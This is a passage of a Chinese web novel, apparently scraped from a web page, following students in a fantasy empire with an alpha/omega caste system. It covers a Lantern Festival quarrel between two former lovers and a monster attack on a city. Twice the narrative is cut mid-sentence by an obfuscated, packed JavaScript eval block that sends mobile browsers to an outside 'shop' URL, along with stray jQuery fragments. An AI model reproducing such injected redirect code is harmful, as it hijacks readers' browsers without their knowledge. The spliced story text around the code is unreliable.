他便回答,“不是……我来这里,是妈妈的要求。” “……哦。”安德烈稍有些不自在,一时没有接话。好一会儿之后,他才又重拾话题,“……周夫人在嘉洛林区生活过吗?” “没有。”陆清源很配合,“……她说这里是洛珈守卫过的地方,她一直很想来看看。” “洛珈?”安德烈显然是在记忆中搜寻了好一会儿,才终于想起来,“……噢,那个反叛者啊。” “嗯,是她。” 陆清源无动于衷的回答。 是的,嘉洛林人的精神图腾洛珈——对于帝国和alpha们而言,她是个毫无争议的反叛者。她拒绝了帝国的征收令,不肯把她身为omega的妹妹交给国家来分配。为此不惜放弃自己光明的前途和英雄的荣耀,向整个帝国、向所有alpha举起了反旗。 当然,她最终还是失败了——她的妹妹选择向帝国投诚。在失去了为之战斗的理由之后,她很快放弃了抵抗。而后在最巅峰的年纪,她被流放到了嘉洛林区,从此远离功业和荣誉,直至生命重归星海。 但她其实也不算彻底失败——她的反叛迫使内阁将《平权法案》提上了日程。时至今日,嘉洛林区依旧是平权法案推行得最彻底的地区。除帝都外,它培养了最优秀的非alpha生源,据说今年部分考生的素质甚至同时引起了国立大和二军大的关注。 “这样啊……”安德烈显然也理解了,但依旧没话找话的说着,“……你和周夫人经常见面?” “嗯。” “真羡慕你啊。”安德烈抓了抓脑袋,好一会儿才故作无所谓的说道,“我和我妈啊……医生说,为了避免刺激她的情绪,最好尽量不要见面。虽然其实见了面我也不知道该跟她说什么好,但直接被医嘱禁止见面,还是……” 陆清源说,“……都是一样的。” 他能理解安德烈的感受——他们这些贵族出身的世家子弟,不管是他们的母亲还是他们未来的妻子,都是家族精挑细选的omega,首要保障的是能诞下血统优秀的继承者,至于双方的意向则属于可牺牲的选项。成婚后夫妻和睦的当然很多,但酿成悲剧的也并不在少数。不幸的是,他的母亲和安德烈的母亲都不属于前者。作为继承了父亲血统、享受着家族特权的那一方,他们在面对不幸的母亲时,或多或少都会感到无所适从。 “完全不一样好吧!……所以才说你这家伙格外令人讨厌啊。”安德烈说,“所有好东西都占全了,该有的不幸都回避掉了,还完全意识不到自己的优越——你其实是神的私生子吧!” 陆清源百无聊赖的看着窗外长城般绵延不绝的路灯,答道,“不是啊。” “这种吐槽就不要一本正经的回答啦!” 陆清源笑了笑。 他想——神的私生子 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安德烈低头确认了一下路程,“晨星在北麓,巢在南麓。直线距离两公里,山路……东西都是四公里左右。” 陆清源打开市政地图,“从东麓绕过去吧。东边是居民区,今晚七点半,附近的景点会定点燃放烟花,应该有很多游人聚集。” 安德烈吹了声口哨,“……嘉洛林真是民风彪悍啊。——还是说你们唐人都这么不把‘兽潮’放在眼里?” 陆清源随口否认,“不会啊。魔兽的肉非常美味,我们很关注‘兽潮’。” “……”安德烈无语的看了他一会儿,忽然意识到什么,“等下,你不会是认真的吧?你居然是认真的!你们唐人是在用生命养舌头吗?!” ——每年唐历正月十五日前后,不论距离“大树海”有多远,只要是有护城水晶存在的城市,都必定会遭到魔兽的袭击。 没有人知道魔兽从何而来,也不清楚它们确切会出现在什么地点,只知道它们如海潮有信般、必定如期而至。 大多数时候魔兽都会出现在一个大致的范围内,这个范围便被称作“兽巢”——当然实际上它并不是真正的魔兽巢穴。人类的城市里,是不可能容许真正的魔兽巢穴存在的。 每年兽潮来临时,全帝国的军队和警察都会严阵以待。但这只是从一百年前“大兽潮”时延续下来的传统而已。 如今导力武装的威力越来越强大,兽潮已很少能造成什么实质性的灾害。只要没有出现过于超出规格的魔兽,凭地方警力完全就能压制得住,已很少需要惊动军队。 这些年,巡检各地护城水晶、协助地方警力镇压兽潮,甚至成为伊岚公学应届毕业生的例行毕业课题。 ——当然,伊岚公学每一个毕业生都出身贵族,必须经过严格的军事训练和考核。理论上他们都是预备役军官,“兽潮”来临时他们也有待命的义务。但归根到底他们都只是应届高中生。 对陆清源而言,如今的兽潮,就只是“高中生便能处置”——这一级别的难题而已。 7. 天授之人(二) 二 黎晓最后检查了一遍自己的妆容。 ——洗得很干净,已完全看不到眼线或者唇膏的残留。 虽然以她的眼光来看,这副纯天然的面容寡淡素净,毫无吸引力。但比起来,被成铭发现她会想要吸引他的目光,甚至为此画上拙劣的妆容,反而更令她感到难为情。 这两年他们之间的关系太糟糕了,他们在一切场合竞争和争吵,几乎没有一刻能正常、平和的相处。 她已没有自己还在被他所喜爱的自信,有时甚至会怀疑他是否真的已对她感到厌恶。 被自己依旧喜欢着的人所厌恶和轻蔑,是一件太过于难堪的事了。 她披上长雪绒的云肩,在松挽在耳边的髻子上别上通草花,走出门去。 成铭已经等在院子里了。他穿着常服,正不耐烦的抱着手臂,看着门外嬉闹追打的孩童。 看到她时他的目光略停了片刻,便立刻移开了。 黎晓问,“我爸妈和叔叔阿姨他们呢?” “他们已经先去占座。”成铭看着院门外,不和她目光对上,“他们让我在这里等你。” 黎晓说,“哦。”她便快步追过去,想要牵住他的衣袖。成铭却没有等她,立刻便转身向外走去。 黎晓便放慢了脚步,安静的跟在了他的身后。 他们便一前一后的走在残冬夜晚的柏油路上。彩灯沿着道路绵延通向远方。不断的有少年载着少女、有孩子互相追打嬉闹着、有情侣挽着手臂亲热说笑着、有夫妻互相偎依着指点着……从他们身旁路过。 从古久以来,元宵节便是情人相会的节日。漫长的岁月里,唐人的传统丢失了一件又一件,就连节日里女人们穿戴的传统服饰,都只剩下改良得仅存形状的云肩和发髻上别着的通草花,可元夕夜情人相会的传统,却依旧保存下来了。 自从两年前的那个深秋他们分手以来,每年元宵节两家一同出行去西山赏灯看烟火,便成了他们唯一会相约而行的日子。 每一年的元宵节,黎晓都攒了很多话、很多事想要同成铭说。可是不管上一次还是这一次,成铭都完全没有要和她交流的欲|望。他们虽走在一起,却依旧形同陌路。 这其实也没什么不对——毕竟他们分手了。 只不过黎晓同他分手,是为了全新的开始,她自始至终都没有改变过心意。他却似乎真的将那次分手当作了永久的别离,从很久之前就在努力挣脱这段感情。 这两年里,他们依旧是学校的首席和次席。 只不过他们各自出于不同的理由,有了更坚决的、绝对不能输给对方的决心。 黎晓是为了证明自己,让他意识到她在任何场合都不需要他去“守住”,所以她不能输——至于成铭是为了什么而拼命,黎晓曾经以为自己知道。但在这么久的对面不相见之后,她已经有些不确定了。 ……成铭总是能做到自己想做到的,她想,他大概真的已经成功的挣脱出来了吧。 她渐渐感到脚步沉重。 所幸他们居住的街区就在西山脚下,并没有走太久,他们便已到了这一年的观景地点。 沿着河流的长街上,庙会开得正热闹。熙熙攘攘的游人穿行在栉词鳞比的店铺之间,情侣们互相牵着手以免不留神被人群冲散,大人们把攥着糖人的孩子举到脖子上,就连招揽顾客的商贩,也爬上了高台,在挂满灯笼的绳墙前吆喝起来。 远处的长桥上,歇脚在风雨亭上的盛装打扮的少女们,正漫不经心的摇着手里的小灯笼,等待对岸山坡的劳工们核对好烟火摆放的次序和品种,宣布烟火大会开始。 这一晚他们并没有逛庙会的打算,便直接沿着道旁的台阶往山上的观景台去。 他们来得早,山上游人并不多。来到约好的地方,说是先来等他们的父母却还没有踪影。 上那观景台要过一条栈道,位置稍有些偏僻。他们靠在护栏站着,被草木一遮,便同人群隔离开来。 ——就只有他们两个人而已。 黎晓抬头望向成铭,他正看着山下的河流,面色淡漠得看不到半分情绪。 她便叫他的名字,“成铭……” 可她的声音尚未发出来,便听到他问,“你报考了第二军事学院?” 黎晓忙说,“是啊。” “为什么?”他回过头,直直的望向她,眼睛里有掩饰不住的烦躁和愤怒,“你不是想去国立大学吗?” 他一路上都没有同她说话,此刻终于开口了,却是扑面而来的指责。 他们之间已经到了不吵架就没办法好好说话的地步了。 黎晓尽量压制着自己的声音,平静的说,“我只是想读导力系。二军大的导力系排名也很靠前,不一定非要去国立大的。” “说得这么随便……”他恨恨的,“明明国立大的更好,为什么还要考虑二军大?你到底明不明白报考二军大意味着什么?!” “明白啊,不就是军校吗?”黎晓说,“军校是可以拒绝omega报考的。但是我仔细看过二军大的招生简章,他们只有能力要求,并没有限定性别。他们宣传的优秀校友里,也有人是omega。” 她努力克制着不去争吵,但对上他的目光,意识到自己正被他厌恨着,也还是压制不住想要针锋相对的回以伤害的心情——至少绝对不想让他知道自己还喜欢着他,不想在“相互厌恨”上输给他。 这种心态令她忍不住补充,“反正如果我真的那么不堪,就算报考了也根本就考不上。也用不着你来操心吧。” 话说出口她便感到后悔,但想想这句话本质上也没错,便不肯收回。 她显然成功的伤害到了他,成铭气结的看着她,“是啊……那就赶紧祈祷自己被淘汰吧!” “凭什么啊!”黎晓真的感觉自己要哭出来了,四目相对的时候,要掩饰内心真正的感情太难了,她几乎是脱口而出,“说到底,你就只是不愿意和我读同一所大学吧?” “是啊,你为什么就非要、非要缠上来不可?又不是真心要读军校,老老实实的去读国立大,离我远些不行吗?” 眼泪立刻就滚落下来,但黎晓还是倔强的扬着头直视着他,“当然不行——为什么一定要我离开?如果你真的那么讨厌我的话,就自己离远些好了!”她嘴硬的强调着,“反正我也不是故意要和你读一所学校的,就只是碰巧——碰巧一起罢了!你离远些也是一样的,我保证绝对不会再追过去了!” “啊好啊!如果我能离开,保证一秒钟都不会多待……” …… 明明说着互相驱离的话,可他们的身体却不由自主的在相互靠近。 他们凝视着对方的面容,情绪激烈的争吵着。可眼睛里的厌恨根本压制不住内心的渴望。破碎、失控的情绪冲破了理智和自尊修筑的篱障,彼此混乱的话语和气息交缠、黏着在一起,他们猝不及防的在对方眼睛里看到了毫无掩饰的彼此。 那些被刻意忽视已久的东西再度呈现在眼前,在长久的压抑之下它们依旧纯粹如初,那份纯粹是如此的触目惊心。在这个时刻,又是如此的强大不可违逆。 只要抬手就可触摸到彼此的面容,只要轻轻的前凑/低头,就可以亲吻对方的嘴唇。 亲下去就好了——不论对方的眼睛还是自己的心,都在这么说。只要亲下去就能结束这令人憎恨的言不由衷的争吵,只要亲下去,就能抚平内心的燥乱和焦灼…… 有那么一瞬间他已低下了头,而她则轻轻闭上了眼睛,可这时不远处传来了父亲的声音,“成铭。” 理智如千刃之壁轰然落下,他们再度记起他们之所以分离和争吵的理由,无声的飞快分开了。 三 烟火大会依旧没有开始。 黎晓坐在观景台前的小广场上,看着石头的台阶一级级下延。 这是一处还算平坦的山坡,据说在很久之前曾是一片梯田,但现在就只是公园的观景台罢了。台阶的尽头是一道护栏,护栏的下方便是陡峭的山石了。 庙会所在的长街、长街所依附的河流就在那山石之下。自高处望去,灯火和人群美的恍若梦境,渺小精致的不似真实。 成铭被他的父亲叫走说话了。 会说些什么黎晓用脚指头都能想到。 越是成长,对现实了解的越多,便也越是清醒的意识到,Beta和omega的恋情有那么的艰难,就连他们的家人都不会祝福她。可就算这样,黎晓依旧喜欢成铭。这喜欢那么痛苦,她几乎每时每刻都感到自己快要放弃了。可哪怕只是稍稍能喘一口气时,也还是会喜欢他,还是会期待同他在一起的未来。 除非哪一天成铭明白无误告诉她,他已不再喜欢了,他们之间是不可能的——那么无论有多么痛苦,她也只能放弃了吧。 但成铭从来、从来都没有这么说过。 ……成铭应该是还喜欢着她的吧,这真是太好了——尽管她明白这念头自私的不可救药,她也还是打从心底里感到——这真是太好了,她还能再坚持努力下去,努力让自己变得更强大,直到他们能心无旁骛的相爱的那天到来。 成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726838|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸很快便回来了,成铭却依旧没有。 黎晓等了很久……依旧没有。 人群和父母们演技拙劣的若无其事令她感到窒息,她便起身寻偏僻处,想去透一口气。 而后她便看到了成铭。 他站在峭壁前的裸石上,静静的看着月色之下的白土黑河。 这一日的失控显然令他感到消沉和混乱,他需要空间来盘理自己的心情。 黎晓便没有上前扰乱他。 她正准备避让离开时,忽然看到成铭解开领扣,胡乱从脖子上扯下了什么东西。 他攥了那东西很久。而后终于将它扔出去,任它飞落山坡,滚落进山下荒芜杂乱的野草地里。 那金红色的光流丽如血滴,像流星般一闪而逝。 就像终于舍弃了早该舍弃却无法舍弃的东西,谁也不知他到底是终于卸下了重负还是在战败前徒劳挣扎。 他转身大步离开了。 黎晓想,她知道他扔掉的是什么——虽然在此之前她从来都没有想到过。 她于是翻过护栏,跃下了山坡。 那山坡之下便是洛琳河,和传说中洛琳的性格截然不同,这河流暴涨时如赤龙般桀骜汹涌,达瓦人便在河岸两侧修起高高的堤坝。但这会儿还在枯水期,河中水流静深,河堤和部分乱石河床裸露出来,丛生大片大片的菖蒲。 黎晓埋头寻找了很久,终于从菖蒲盘曲的乱根和碎石里,将成铭扔掉的东西翻了回来。 那果然是一枚虹水晶。 很小,只比她的小指节稍大一些,却已染上了极致瑰丽的金红色光芒。 人体内流淌的导力,在大多数时候都只是一种看不见摸不着的能量。但其实它和彩虹一样,是有颜色的。 在古代,自身色素浅淡的白种人会把血统纯正的alpha称作“蓝血”,那其实就是导力在导力回路里流淌所呈现出来的颜色。越是血统纯正的alpha,体内导力回路便越是富集,导力便越是呈现出瑰丽的蓝紫色。 在导力革命之前,护城水晶尚未如此普及。人类唯一赖以对抗魔兽的武装,就只有上古流传下来的“神赐礼装”。而传说能穿戴神赐礼装的天授之人,每一个都是紫瞳的alpha——因为他们体内的导力回路是如此富集,以至于眼瞳也染上了导力的颜色,呈现出优美深邃的紫色。 现代人很少有这么纯粹的血统,蓝血和紫瞳早已是尘封在历史中的传说。 但导力的颜色依旧是可以看到的。 卡佩区的宝石矿伴生数量稀少的虹水晶,这种珍贵的水晶晶胞结构同人体内导力回路的结构非常相近,曾是导力革命生发的基础。 只需日复一日的将导力灌注进虹水晶里,使得导力在虹水晶中逐渐富集,便能令这种透明无色的宝石染上导力的颜色,展现出各不相同的色泽。 人体内的导力和自然中蕴含的导力是不同的,它沿着导力回路走遍人的周身,携带着人体全部的信息。人的思想、心跳、荷尔蒙的分泌……每一次喜悦、悲伤、悸动、缱绻都会影响体内导力的流动,使得导力呈现出不同的脉动和气息。 所以每个人灌注进虹水晶的导力都是独一无二的,每一颗注满导力的虹水晶的颜色和气息,都是独一无二的。 将它佩戴在恋人的脖颈上,贴近执掌爱情的腺体,便如用专属于你的色彩和气息标记他/她。 甜美而隐秘的恋慕——这便是虹水晶的私语。 帝国有史以来最成功的广告,在一百多年的流传中逐渐丰满成为一种人人因循的文化。 少年少女们在情窦初开时,都会努力打工攒钱,购买一颗昂贵的虹水晶,将它带在身上,日复一日的灌注导力。当虹水晶的颜色足够流丽和醒目时,便将它赠给自己喜爱的人——那便是最率直美好的告白。 黎晓太迟钝了。明明那么早就已经喜欢上成铭了,却直到那个无可挽回的秋日才意识到自己的心意。所以她从来都没意识到,自己该为他养一颗虹水晶。 但是成铭养了。 ——不管是喜欢她,还是会喜欢上她,对他而言从来都不是什么意外。 他用了足足十二年时间意识到这个事实,而后便嚣张却又因循常识的筹备好了一切,傲慢却又耐心的等待她意识到这件事的那天到来。 直到那一天终于到来。 ……而后在短短一日之内,被摧毁殆尽。 黎晓攥着那颗虹水晶,将它轻轻贴在心口上。 这时漫天烟火轰然绽放。 ——烟火大会终于开始了。 8. 天授之人(三) 四 “那个大水壶绝对看扁我们了。”安德烈一面对围观的游人露出阳光灿烂的笑容,一面低声向陆清源吐槽着,“我们不远万里跑来帮忙,他就让我们干这个?守桥?随便一个保安就能做的事让我们——让伊岚公学的首席和……十杰来做?你说他是不是看扁我们了!” 陆清源拦下一对迎面走来的情侣,微笑着提醒他们前面是封锁区,有魔兽出没,禁止靠近。 见他们顺从的折返了,才回答,“他应该只是在用独特的方式照顾我们。” 这一年负责镇压洛珈山“兽潮”的警备队长,是个挺着大肚子的肥头大耳的中年男人——体态确实很像一只大水壶。不过从他手掌上的茧子和稳重厚实的步伐来看,他的肥胖应当是源于遗传而非怠惰。 至于他是不是看扁他们了,陆清源觉着,安德烈的直觉这一次依旧没有出错。这位实绩丰富的一线战警确实没有把他们这两个帝都来的高中生放在眼里,出于某种偏见,似乎还有些鄙视他们。 “恐怕有人向他打过招呼了,”陆清源猜测,“譬如要求他必须确保我们的安全之类……” ——以他们两人的出身而言,受到地方官僚类似的关照根本是件稀松平常的事。然而作为家族宝贵的继承人,在成年之前他们从未离开过帝都和家族领地,身边接触和交往的也都是阶层、能力与他们相近的人。因此对于自己究竟有多么特殊、在外又会受到怎样的接待,他们几乎毫无概念。 安德烈不满的吐槽,“我们的安全还用他们确保?他们自己别拖后腿就够了。”但身着民族服饰的姑娘们多少抚平了他的怨气,令他的抱怨不是那么尖锐,“……好吧我承认,能近距离的和达瓦的唐人姑娘们接触,我也很高兴——但再这么下去,我们的课题报告就没法写了。我可不想回去后被罗贝尔那傻逼取笑……” 陆清源毫不在意,“别担心,如果我们会受到特别照顾,罗贝尔肯定也免不了。他的课题报告不会比我们的更好看。” “但他去的是安茹省——每一届去安茹省实习的人,课题报告都很好看。”安德烈越想便越不安分,同他商议,“还是去争取一下吧——我们两个都是A级战斗资质,他让我们来守桥,明显就是指挥失误。” 陆清源依旧面朝游人保持着得体的微笑,他轻轻的压住安德烈的肩膀,语气平静温和,“别去。他是指挥官——当面同他争论,要么损害他在部下面前的威信,要么损害达瓦警厅对我们的观感。就算达成目的又怎么样?如果这次‘兽潮’他们自己就能轻松镇压,我们又何必去抢功劳?如果他们自己镇压不了,相信我,到时候就算我们不请求,我们的战斗资质也会派上用场的。” 尽管安德烈总是能毫不留情的当面吐槽他“格外讨厌”,但实际上真正和陆清源有所接触的人,根本就无法发自内心的生出“讨厌他”的情绪——只要见过他的人就能明白,无关武力和权谋,也不在于家世和魄力,这世上就是有些人,温和真诚,说着最平淡无奇的话,也依旧能令人信服。 安德烈烦恼的抓了抓头发,“好吧好吧,你说的永远都对……到时候被罗贝尔骑在头上,可别怪我没提醒你啊。” “不会的。”陆清源微笑着,“罗贝尔次席是一位很有自知之明的谦逊之人。” “他才不是呢!” “如果他不是,我会亲自教会他。”陆清源的微笑里依稀有咬牙切齿的声音。 安德烈:…… ——尽管陆清源的品性让他能顾全大局,服从调配。但被用来守桥这件事,很显然也伤到他的自尊心了。 他们很认真的履行着职责,但让他们两个来阻拦周边游人,确实是指挥失误。 名门贵族精心养育的子弟,未必个个都品学兼优,然而自幼不吝钱财的养育方式和他们所浸淫的氛围,令他们一个个都容貌出众,气质不凡。这两个少年站在一起,本身就如名画一般醒目。他们举手投足间透出的和嘉洛林区的传统格格不入的——不接地气的优雅,令没怎么见过外省人的当地人都好奇不已。 原本只是偶然路过的游人,望见他们也忍不住想上前参观一番。 这些人聚集在警示线外,兴奋的围观、交流着,甚至有人上前询问能不能跟他们合影。 陆清源微笑着,额角青筋乱跳。 “是不是我的错觉?”因为被唐人少女环绕而有些飘飘然的安德烈也隐约察觉到了,“……我总觉得她们好像在把我当猴子看。” 陆清源心想,这绝对不是什么错觉——他们两个现在就是马戏团的猴子。 这时有孩子手里的藤球滚落了,而他的母亲正忙于向安德烈打听他是怎么让衣领保持舒适的同时还能维持这么硬挺的形状。那孩子追着藤球跑到吊桥的钢索护栏边,小巧灵活的身体钻过吊索的空隙,去捞他的球。这时高处的山风袭来,他一时没抓紧绳索,失足掉落下去。 陆清源立刻推开游人,踏着吊索飞跃下去,反身将孩子抱在了怀里。 “——安德烈!” 安德烈也已站在了桥边——只是不幸比他稍慢了一步。 陆清源轻轻的将孩子一推,那孩子抱着他的藤球在空中划出完美的曲线,舒适的落入了安德烈的臂弯间。甚至都没来得及被吓哭。 “平安。”安德烈接住孩子,回复陆清源。而后看向桥下,无能为力又幸灾乐祸的提醒,“小心,底下是水——” 底下当然是水——嘉洛林人习惯于把一切相依而生的山川都用洛珈姊妹的名字来命名,有珞珈山的地方,必然会伴生一条洛琳河。而他们所在的这座从山北通往山南的吊桥,就横跨在洛琳河上。 正在枯水期,洛琳河水位很低,这高达十几米的吊桥显得格外悬空和险峻。 对安德烈来说,陆清源落进水里和直接落到山石上,显然是前者更令人期待——毕竟很少有人有机会亲眼看到这个完美无瑕的优等生,变成一只狼狈的落汤鸡。 桥上的看客们至此才终于意识到刚才发生了什么,都发出惊呼声,围到了桥边。 陆清源仰面摔了下去。 就在他即将落水时,他单手撑住了河面——就如雪白的花朵绽放,以他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726839|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心为圆点,在这条极南之地常年不冻的河流上,寒冰迅速蔓延开来。 他流畅的站起身,双足平稳的踏在了冰面上。 桥上的人在惊讶之后,纷纷不吝赞赏的鼓起掌来。 “这孩子是alpha吧……”“刚刚那个是导力转换吗?”“这么一大片冰,一般人很难做到吧……” 安德烈无语的看着他,心想——真不愧是死要面子的唐人啊,连落水都能落得滴水不漏。还有这些淡定的围观者……嘉洛林区真是民风彪悍、处变不惊啊! 陆清源站在桥下,借着月色仰望两边的峭壁和高处的吊桥。 ——视野之内,没有可供上行的道路。 这时有年长的当地人指点他,“——沿着河往下走,前面河堤上有台阶。” 安德烈将孩子还给她的母亲,不知是该趁机训斥这些给人添乱的游人,还是先提醒陆清源——短暂的权衡之后,他果断俯身向下,“——我们还在出公务,你要尽快回来啊!”他才不要一个人当猴子! 陆清源默默的扭开头,默默的希望河堤能稍微远一些再出现。 这晚夜色很好。 风清月明,漫天星光璀璨。 极南之地的早春,空气湿润不寒。水边蒲草早早的萌生新叶,那新叶细长柔韧,铺展如达瓦少女们云肩上的丝绒流苏,一丛又一丛。不知是游人还是不知名的野兽,在那草丛之中踏出了蜿蜒的行道。 沿那行道前行,山石嶙峋玲珑,山泉水在耳边泠泠,如少女独自吟唱的夜歌。 陆清源想,难怪就算兽巢在侧也阻挡不了达瓦人要来珞珈山上庆祝元夕。有一些良辰美景只有同为唐人,才能心领神会。 他拐过一道山崖,水势在此回旋。圆月同山谷的走向顺而成一,明澈的月光逆照在河道上,铺开了绵延不绝的银练。 视野骤然明朗了。这静谧的山谷宛若月色染成,一草一木都浸着辉光。 这时有零散的飞花自山坡上飞下,他嗅到了似有若无的芬芳。 他顺着风来的方向望过去,伸手接住了蹁跹飞下的兰草花——山坡上少女压住散落飞起的长发,梳过发间的手指纤细婉约,恰如一朵无声舒展的春兰花。 他们便在这元夕夜里相遇了,她半垂着的长睫毛下,眼眸中仿佛含着整座山谷的月色,无端便令他想起达瓦城中那宛若天空倒影的夜景。他深知在唐人的习俗里,凝视一位少女的面容是非常孟浪失礼的举动,可他一时竟无法移开目光。 这时漫天烟花轰然绽放了——陆清源想,啊,果然就该在这个时刻啊。 那姑娘终于也察觉到他的存在,她扭头看向他。那面庞明净美好,竟令他感到轻微的不安。 他想,自己必须立刻上前,同她说些什么, 可那漫天烂漫的花火中,混入了一声尖锐的长鸣——警示弹拖着亮度远超所有烟火的白色光尾升上夜空,并久久的悬空不散。 ……他和安德烈一直期待着的意外发生了。 这一年袭向达瓦城的“兽潮”中,出现了超出规格的强大魔兽。 9. 天授之人(四) 五 那是紧急灾难预警信号。 ——见到这信号的平民应尽快远离现场进行避难,避免妨碍军务;而见到这信号的待命军人,如无特殊任务都必须立刻赶往现场,展开支援。 偏偏是在这个时刻,谁说他是被神所宠爱的? 陆清源上前,将通草花还给那姑娘——她显然有些心不在焉,并没有注意到。陆清源略一迟疑,屏息,抬手将通草花别在了她的头发上。那姑娘总算被他意外的举动唤回了心神,惊诧的看向他,他便说,“下次相遇,请告诉我你的名字。” 她似乎回答了什么,但陆清源没有听到——山谷间气流剧烈的涌动起来,飞行器螺旋桨巨大的旋转声遮盖了一切。 安德烈从机舱内探头出来,确认是他,便飞快的丢下悬梯,对他打了个手势——A级,控制系,现场失控、紧急。 陆清源点头向她道别,抓住悬梯,很快便消失在嘈杂的夜空之下。 黎晓没来得及叫住他。 她将手中攥着的虹水晶塞进衣袋里,胡乱挽起头发,便飞快的奔上山坡。 她赶回观景台时,成铭已不知从哪里弄到了摩托车,正要发动。 ——报考第二军事学院前,他们刚刚通过了严苛的军训考核,成为预备役士官。在这种时刻,他们也有义务赶往现场支援。 黎晓边跑向成铭,边脱掉妨碍运动的云肩,“带上我——” 成铭发动引擎,不耐烦的拒绝,“够了,穿得这么累赘,你去是要喂魔兽吗?” 黎晓咽下羞恼和委屈,强硬的伸开双臂挡在了他面前,“……反正不管你说什么,我都肯定会去,你为什么就一定要说些没用的、言不由衷的话伤害我?!这么做真的能让你好受些吗?” 她泛红的眼睛对上他赤红的双目,短暂的交锋之后,竟是他先懊恼的败退了。 他把头盔丢过去,声音里带着久违了的、恶劣却并不刺人的别扭,“……上车。” 她爬上后座,而后凭一腔孤勇,用力的、毫不迟疑的抱住了他,“走吧。” 他的脊背略僵硬了片刻,而后瞬间将油门轰到了最大。 巨大的加速度几乎将她从他脊背上撕扯下去,风声一瞬间灌满了全身。哪怕只要稍稍松懈和松手,她就会被远远甩飞出去。但她牢牢的抱住他的腰,身体几乎和他贴合在一处。耳边流风冰冷肆虐,可他的身体像一个小小的避风港,只要抱紧了,便感到温暖和安全。 后来速度便平稳下来,她顶着风松开手,将自己稍嫌宽大的裤裙口绑紧了,以免它真的妨碍到战斗。而后她重新抱紧他,开始复习导力在体内流淌的感觉。 这时她听到他说,“别硬往前冲,和魔兽战斗不是和我比拼。” 那声音闷闷的从他胸口发出,若不是她的脸颊正贴在他脊背上,她大概根本就听不到吧。 她鼻子忽然便有些酸,她说,“我知道。”她叫他的名字,“成铭……”可这时他又拐上了山岩,借着岩石的坡度摩托高高的跃起,加速度和重力吞掉了她的话。他们飞过一处乱崖,有那么一瞬间,山间圆月明明可掇。 而后他们再度重重的落到山路上。 月色之下,夜空明澈如水,而山林漆黑如墨。 有巨大的触须从那墨林中,如风车抡起向水色的天空,触须顶端卷着的人影渺小得像个挂坠。 ——他们就要赶到现场了。 他们已能嗅到那魔兽散发出的,令人心悸的巨大威压,并已窥见它庞大如山的恐怖身躯。 为了通过预备役士官考核,他们曾翻来覆去把《魔兽图鉴》背诵过很多遍。当然他们都明白,《魔兽图鉴》不可能收录所有魔兽,因为人类尚还远远没将大树海探索完毕,每年都会有全新的魔兽从大树海中出生。 但是,该怎么说,优等生都是擅长举一反三的。就算魔兽的姿态千差万别,但见多了也就渐渐明白,它们也和普通生物一样能分门别类。大多数魔兽就算你不知道它到底叫什么名字,也依旧能打——因为你多少还是能判断出它的科属的。 可这个魔兽,明显超出了他们的认知。 成铭将摩托停在了林子边,他一边佩戴手套一边问黎晓,“你觉着这是什么东西?” 在记忆力上他也许不输给黎晓,但在博物知识和分辨能力上,他确实逊她一筹——校际对抗赛里,因为普通的知识问答在他们两个面前变得毫无意义,主办方便翻新花样的弄出了名为“管窥蠡测”的环节。而她居然真的通过照片上像素不甚清晰的毛须,判断出了所有魔兽的类别。 黎晓说,“我也不知道……”但这么久之后他们终于能再正常的交流,她无论如何也想给出一些有用的信息,“刚刚那个蛇一样的东西,末端很像旋龟的尾巴。”她想起在山坡上遇到的那个莫名其妙的,不知到底是认识她还是不认识她的少年,便又说,“魔兽是控制系的,但是控制系的魔兽体形很少这么庞大……” 成铭没有问她究竟怎么猜到魔兽是控制系的,只说,“走吧。”走出两步后他又顿了顿,说,“……我知道你很强,但这是我们第一次面对真正的魔兽,你不要冲得太前。” 黎晓说,“……你才是。” 他们便在夜色之下穿过密林。 四面静悄悄的,不但察觉不到夜行野兽的气息,就连虫鸣都没有。 参天的古树上垂下长满苔藓的藤蔓,地上腐朽的枯木上还有新鲜的脚印。随着那脚印逐渐杂乱,四面折断的树干和战斗的痕迹渐渐多起来。他们已依稀能听到不远处战斗的声响。 但黎晓总觉着有哪里不对劲——山石和树干上的血迹太多了。通过异色的血液和血迹,黎晓确信起码有超过三种魔兽受到了致命伤。但是她没有看到哪怕一只魔兽的尸体。 战斗尚未结束——这会儿不可能有人来清理现场的。 这时成铭停住了脚步,并伸手拦下了她。 ——他们终于来到现场了。 周遭所有的树木都折断了,那魔兽用骇人的力气在密林中央开辟了开阔的战场。月光自洞开的中天落下,它如山的身躯整个儿都沐浴在明澈的白光之下,身上每一个细节都清晰可见。 它的身形如此的畸形和恐怖,黎晓捂住嘴巴,竟头一次从心底生出退缩的情绪。 ——那是一只纯然由尸块儿组成的魔物。 ……所有她没看见尸体的死去的魔兽,全都成为他蠕动的身躯上的零碎的部件。 它的身躯如章鱼一般混沌暧昧,四条尸块组成的触须沉重却柔软的挥舞着,袭向围攻它的警队。 大肚子大胡子的警备厅长气急败坏的指挥着,“后退——后退!别被它卷住!导力炮呢,还没装备好吗你们这群废物!” 他说话间便有被黏液覆盖的人体砰的砸到地上,那人面容扭曲的惊恐的尖叫着救命,双臂却如僵尸般袭向附近的战友。 眼看着战友的模样,警备厅几乎所有人的意志都已被击溃了。他们手忙脚乱的准备着导力炮,不少人烦躁的直摔东西,甚至有人意志崩溃的想要逃跑,却被大肚子警司残暴的 